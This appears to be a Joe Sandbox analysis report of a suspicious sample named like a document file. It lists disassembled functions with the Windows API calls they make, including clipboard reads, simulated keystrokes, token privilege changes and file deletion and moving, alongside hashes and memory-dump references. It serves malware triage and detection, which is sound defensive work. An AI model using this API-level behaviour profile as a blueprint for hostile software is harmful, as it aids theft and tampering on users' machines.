Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 22f764781426ea2fcb5445d0796cb0e5d6aa7bf0f4b547873e159abd4bc633fd
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 7031D470A04116ABC718DF58E480A69FBB5FB49300B2482BAE48ACB355D735EDC1CBD0

Function 04D722A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4), ref: 04D722B1

Memory Dump Source

Source File: 00000000.00000002.1692690521.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_DOC092024-0431202229487.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 14638eca4c2649e4ed25e861034fea3b983430149aec35e9e05df85cc130a10b
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: CAE0E67494010EDFDB00EFB4D54969E7FF4EF04301F1005A1FD01D2280D6309D508A72

Non-executed Functions

Function 0077F5D0 Relevance: 68.9, APIs: 37, Strings: 2, Instructions: 630windowkeyboardnativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

NtdllDialogWndProc_W.NTDLL(?,0000004E,?,?,?,?,?,?,?), ref: 0077F64E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0077F6AD
GetWindowLongW.USER32(?,000000F0), ref: 0077F6EA
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0077F711
SendMessageW.USER32 ref: 0077F737
_wcsncpy.LIBCMT ref: 0077F7A3
GetKeyState.USER32(00000011), ref: 0077F7C4
GetKeyState.USER32(00000009), ref: 0077F7D1
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0077F7E7
GetKeyState.USER32(00000010), ref: 0077F7F1
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0077F820
SendMessageW.USER32 ref: 0077F843
SendMessageW.USER32(?,00001030,?,0077DE69), ref: 0077F940
SetCapture.USER32(?), ref: 0077F970
ClientToScreen.USER32(?,?), ref: 0077F9D4
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 0077F9FA
ReleaseCapture.USER32 ref: 0077FA05
GetCursorPos.USER32(?), ref: 0077FA3A
ScreenToClient.USER32(?,?), ref: 0077FA47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0077FAA9
SendMessageW.USER32 ref: 0077FAD3
SendMessageW.USER32(?,00001111,00000000,?), ref: 0077FB12
SendMessageW.USER32 ref: 0077FB3D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0077FB55
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0077FB60
GetCursorPos.USER32(?), ref: 0077FB81
ScreenToClient.USER32(?,?), ref: 0077FB8E
GetParent.USER32(?), ref: 0077FBAA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0077FC10
SendMessageW.USER32 ref: 0077FC40
ClientToScreen.USER32(?,?), ref: 0077FC96
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0077FCC2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0077FCEA
SendMessageW.USER32 ref: 0077FD0D
ClientToScreen.USER32(?,?), ref: 0077FD57
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0077FD87
GetWindowLongW.USER32(?,000000F0), ref: 0077FE1C

Strings

F, xrefs: 0077FD13
@GUI_DRAGID, xrefs: 0077F99D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CaptureCursorMenuPopupTrack$DialogInvalidateNtdllParentProc_RectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3461372671-4164748364
Opcode ID: ec7636eeb68733ee4f4f457657de5b9c835ffe0b6eaa03cc627775c35e2bc1d2
Instruction ID: c78a9a93dbc0a11bd3211b0fdfabdb883bce5d0ef1d84de9d67e05d6ff5107be
Opcode Fuzzy Hash: ec7636eeb68733ee4f4f457657de5b9c835ffe0b6eaa03cc627775c35e2bc1d2
Instruction Fuzzy Hash: D132BD70204201AFDB20DF68CA84AAABBF5FF48394F14852AFA59C72B1D739DD51CB51

Function 0077A8DC Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 0077AFDB

Strings

%d/%02d/%02d, xrefs: 0077AD0A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: 6407c729e6faa780f7b274cad85ae803f37981af022f36645418fa28dd5b34a0
Instruction ID: 836a9505f6c3c18f702788b8abe9155bc1f37082a9b9baf58e4ec36e9900cafc
Opcode Fuzzy Hash: 6407c729e6faa780f7b274cad85ae803f37981af022f36645418fa28dd5b34a0
Instruction Fuzzy Hash: 7412BFB1604204BBFF258F64CC49FAE7BB8EF85790F10821AF5199B291DB78D941CB52

Function 0072F78E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000), ref: 0072F796
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00784388
IsIconic.USER32(000000FF), ref: 00784391
ShowWindow.USER32(000000FF,00000009), ref: 0078439E
SetForegroundWindow.USER32(000000FF), ref: 007843A8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 007843BE
GetCurrentThreadId.KERNEL32 ref: 007843C5
GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 007843D1
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 007843E2
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 007843EA
AttachThreadInput.USER32(00000000,?,00000001), ref: 007843F2
SetForegroundWindow.USER32(000000FF), ref: 007843F5
MapVirtualKeyW.USER32(00000012,00000000), ref: 0078440A
keybd_event.USER32(00000012,00000000), ref: 00784415
MapVirtualKeyW.USER32(00000012,00000000), ref: 0078441F
keybd_event.USER32(00000012,00000000), ref: 00784424
MapVirtualKeyW.USER32(00000012,00000000), ref: 0078442D
keybd_event.USER32(00000012,00000000), ref: 00784432
MapVirtualKeyW.USER32(00000012,00000000), ref: 0078443C
keybd_event.USER32(00000012,00000000), ref: 00784441
SetForegroundWindow.USER32(000000FF), ref: 00784444
AttachThreadInput.USER32(000000FF,?,00000000), ref: 0078446B

Strings

Shell_TrayWnd, xrefs: 00784383

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 83d7dce99b7407b629a35c9f351ba4a2d27faa09a7afd884e2d81f35f2929095
Instruction ID: afd71d9ff1beb0fbf99fc65b1788c539d12c74671c8828e30fa079f869d3211a
Opcode Fuzzy Hash: 83d7dce99b7407b629a35c9f351ba4a2d27faa09a7afd884e2d81f35f2929095
Instruction Fuzzy Hash: 19318871A803187BEB316B719C49F7F3E6CEB44B90F118026FA05E61D1D6B85D11AFA4

Function 00756B3F Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 007131B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 007131DA

Part of subcall function 00757B9F: __wsplitpath.LIBCMT ref: 00757BBC
Part of subcall function 00757B9F: __wsplitpath.LIBCMT ref: 00757BCF

Part of subcall function 00757C0C: GetFileAttributesW.KERNEL32(?,00756A7B), ref: 00757C0D

_wcscat.LIBCMT ref: 00756B9D
_wcscat.LIBCMT ref: 00756BBB
__wsplitpath.LIBCMT ref: 00756BE2
FindFirstFileW.KERNEL32(?,?), ref: 00756BF8
_wcscpy.LIBCMT ref: 00756C57
_wcscat.LIBCMT ref: 00756C6A
_wcscat.LIBCMT ref: 00756C7D
lstrcmpiW.KERNEL32(?,?), ref: 00756CAB
DeleteFileW.KERNEL32(?), ref: 00756CBC
MoveFileW.KERNEL32(?,?), ref: 00756CDB
MoveFileW.KERNEL32(?,?), ref: 00756CEA
CopyFileW.KERNEL32(?,?,00000000), ref: 00756CFF
DeleteFileW.KERNEL32(?), ref: 00756D10
FindNextFileW.KERNEL32(00000000,00000010), ref: 00756D37
FindClose.KERNEL32(00000000), ref: 00756D53
FindClose.KERNEL32(00000000), ref: 00756D61

Strings

\*.*, xrefs: 00756B8C, 00756B9B, 00756BB9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseDeleteMove$AttributesCopyFirstFullNameNextPath_wcscpylstrcmpi
String ID: \*.*
API String ID: 1867810238-1173974218
Opcode ID: 71956f93a832ffe07928850dae264f285500b7b1d344ea7b1fb1b4ec317508a1
Instruction ID: 98a95b0c70225ba8d53582dbd6958ecc412483322f45ad739b916f4f65a912ba
Opcode Fuzzy Hash: 71956f93a832ffe07928850dae264f285500b7b1d344ea7b1fb1b4ec317508a1
Instruction Fuzzy Hash: AD51407290025CAADF21EBA0DC89EEE777CAF05301F4445D6E949A3041DB79AB8DCF61

Function 00767099 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(007ADBF0), ref: 007670C3
IsClipboardFormatAvailable.USER32(0000000D), ref: 007670D1
GetClipboardData.USER32(0000000D), ref: 007670D9
CloseClipboard.USER32 ref: 007670E5
GlobalLock.KERNEL32(00000000), ref: 00767101
CloseClipboard.USER32 ref: 0076710B
GlobalUnlock.KERNEL32(00000000), ref: 00767120
IsClipboardFormatAvailable.USER32(00000001), ref: 0076712D
GetClipboardData.USER32(00000001), ref: 00767135
GlobalLock.KERNEL32(00000000), ref: 00767142
GlobalUnlock.KERNEL32(00000000), ref: 00767176
CloseClipboard.USER32 ref: 00767283

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: a90ab89771dbf5b1c42b125366f173c33a058edc03774de466e936850b1a8783
Instruction ID: fc829801998455d55b541ce510bf75d34f8163d3c3b69d733b354408e8aeee5e
Opcode Fuzzy Hash: a90ab89771dbf5b1c42b125366f173c33a058edc03774de466e936850b1a8783
Instruction Fuzzy Hash: 5851D031208205AFD329EF64DC9AF6E77A8BB84B41F00851AF946D61E1DF68DC45CA62

Function 0074B9F1 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 0074BEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0074BF0F
Part of subcall function 0074BEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0074BF3C
Part of subcall function 0074BEC3: GetLastError.KERNEL32 ref: 0074BF49

_memset.LIBCMT ref: 0074BA34
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 0074BA86
CloseHandle.KERNEL32(?), ref: 0074BA97
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 0074BAAE
GetProcessWindowStation.USER32 ref: 0074BAC7
SetProcessWindowStation.USER32(00000000), ref: 0074BAD1
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0074BAEB

Part of subcall function 0074B8B0: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,0074B9EC), ref: 0074B8C5
Part of subcall function 0074B8B0: CloseHandle.KERNEL32(?,?,0074B9EC), ref: 0074B8D7

Strings

winsta0, xrefs: 0074BAA9
default, xrefs: 0074BAE6
, xrefs: 0074BA43

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: dfc7c9aa12fb146af07d6f8d6c3b3891d3e680d3cbfec6fb60e143027479b7e5
Instruction ID: 000ee43e8d28c50d203e66cdc8763098e0cc1d2926e7f95251e5cf1915efba40
Opcode Fuzzy Hash: dfc7c9aa12fb146af07d6f8d6c3b3891d3e680d3cbfec6fb60e143027479b7e5
Instruction Fuzzy Hash: 90816971900209EFDF119FE4DD89AEEBBB9EF08304F14851AF914A6161DB39CE15DB60

Function 00762044 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00762065
_wcscmp.LIBCMT ref: 0076207A
_wcscmp.LIBCMT ref: 00762091
GetFileAttributesW.KERNEL32(?), ref: 007620A3
SetFileAttributesW.KERNEL32(?,?), ref: 007620BD
FindNextFileW.KERNEL32(00000000,?), ref: 007620D5
FindClose.KERNEL32(00000000), ref: 007620E0
FindFirstFileW.KERNEL32(*.*,?), ref: 007620FC
_wcscmp.LIBCMT ref: 00762123
_wcscmp.LIBCMT ref: 0076213A
SetCurrentDirectoryW.KERNEL32(?), ref: 0076214C
SetCurrentDirectoryW.KERNEL32(007C3A68), ref: 0076216A
FindNextFileW.KERNEL32(00000000,00000010), ref: 00762174
FindClose.KERNEL32(00000000), ref: 00762181
FindClose.KERNEL32(00000000), ref: 00762191

Strings

*.*, xrefs: 007620F7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 440cf413b19aaeff9b3bfbd795d419e05ce83527f52636366ff3c9ca97d6dc97
Instruction ID: 5eb423d7c31e78e08d22e9c1b5d64085346516c57e3f7eb9963135843dc7befa
Opcode Fuzzy Hash: 440cf413b19aaeff9b3bfbd795d419e05ce83527f52636366ff3c9ca97d6dc97
Instruction Fuzzy Hash: 7031B57260461DBADB24DBA4DC49EDE73ACAF06310F108156FD12E3092DB7CDE46CA65

Function 0077F122 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfilenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

DragQueryPoint.SHELL32(?,?), ref: 0077F14B

Part of subcall function 0077D5EE: ClientToScreen.USER32(?,?), ref: 0077D617
Part of subcall function 0077D5EE: GetWindowRect.USER32(?,?), ref: 0077D68D
Part of subcall function 0077D5EE: PtInRect.USER32(?,?,0077EB2C), ref: 0077D69D

SendMessageW.USER32(?,000000B0,?,?), ref: 0077F1B4
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0077F1BF
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0077F1E2
_wcscat.LIBCMT ref: 0077F212
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0077F229
SendMessageW.USER32(?,000000B0,?,?), ref: 0077F242
SendMessageW.USER32(?,000000B1,?,?), ref: 0077F259
SendMessageW.USER32(?,000000B1,?,?), ref: 0077F27B
DragFinish.SHELL32(?), ref: 0077F282
NtdllDialogWndProc_W.NTDLL(?,00000233,?,00000000,?,?,?), ref: 0077F36D

Strings

@GUI_DRAGFILE, xrefs: 0077F31C
@GUI_DROPID, xrefs: 0077F2A2
@GUI_DRAGID, xrefs: 0077F2E1

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientDialogFinishLongNtdllPointProc_Screen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2166380349-3440237614
Opcode ID: f18fd6204e8aa6945999f04da0acf71cc850ce91843896c7ecab3677d8b449b1
Instruction ID: c4d937c1e92eaadf88a9ec21de7d07e2183da882d8696df1be06a72f643a1850
Opcode Fuzzy Hash: f18fd6204e8aa6945999f04da0acf71cc850ce91843896c7ecab3677d8b449b1
Instruction Fuzzy Hash: 64613971108300EFC711EF64DC89E9BBBF8BF89750F408A1EF595921A1DB789A45CB62

Function 0076219F Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 007621C0
_wcscmp.LIBCMT ref: 007621D5
_wcscmp.LIBCMT ref: 007621EC

Part of subcall function 00757606: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00757621

FindNextFileW.KERNEL32(00000000,?), ref: 0076221B
FindClose.KERNEL32(00000000), ref: 00762226
FindFirstFileW.KERNEL32(*.*,?), ref: 00762242
_wcscmp.LIBCMT ref: 00762269
_wcscmp.LIBCMT ref: 00762280
SetCurrentDirectoryW.KERNEL32(?), ref: 00762292
SetCurrentDirectoryW.KERNEL32(007C3A68), ref: 007622B0
FindNextFileW.KERNEL32(00000000,00000010), ref: 007622BA
FindClose.KERNEL32(00000000), ref: 007622C7
FindClose.KERNEL32(00000000), ref: 007622D7

Strings

*.*, xrefs: 0076223D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 7f8830dde0152dc17e3c44c2e995a98037a653f48a255a6c684734c5c8a65a6f
Instruction ID: 8bdc85c3927265ae0e0f43ebbef10e9fc4bac2a31543a3cdbf83fe6b52369b42
Opcode Fuzzy Hash: 7f8830dde0152dc17e3c44c2e995a98037a653f48a255a6c684734c5c8a65a6f
Instruction Fuzzy Hash: FE310572600619AECB64DBA4DC58EDE33ACBF05321F118155FD12A30A2D7389E86CA68

Function 00716BBC Relevance: 21.9, APIs: 5, Strings: 7, Instructions: 891COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00716C22
_memmove.LIBCMT ref: 00716D9A

Strings

], xrefs: 00716C04
Q\E, xrefs: 00717548
\, xrefs: 00716BEE
\, xrefs: 00790A25
\, xrefs: 00716C8B
^, xrefs: 00716BFB
[, xrefs: 00716C82

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove_memset
String ID: Q\E$[$\$\$\$]$^
API String ID: 3555123492-286096704
Opcode ID: afdcbe519479369170775a9c82c00752272ce30187b32115d559297e5b367768
Instruction ID: b0771a206a8f770661ed2d36dc21e472d323564998f846e2f0c4bcbf2e08cfcd
Opcode Fuzzy Hash: afdcbe519479369170775a9c82c00752272ce30187b32115d559297e5b367768
Instruction Fuzzy Hash: DC727C71E14219DFDF28CF98D8906EDB7B1FF44314F2481A9D855AB281E738AE81DB90

Function 0077ECBC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windownativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0077ED0C
GetFocus.USER32 ref: 0077ED1C
GetDlgCtrlID.USER32(00000000), ref: 0077ED27
_memset.LIBCMT ref: 0077EE52
GetMenuItemInfoW.USER32 ref: 0077EE7D
GetMenuItemCount.USER32(00000000), ref: 0077EE9D
GetMenuItemID.USER32(?,00000000), ref: 0077EEB0
GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 0077EEE4
GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 0077EF2C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0077EF64
NtdllDialogWndProc_W.NTDLL(?,00000111,?,?,?,?,?,?,?), ref: 0077EF99

Strings

0, xrefs: 0077EE4A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
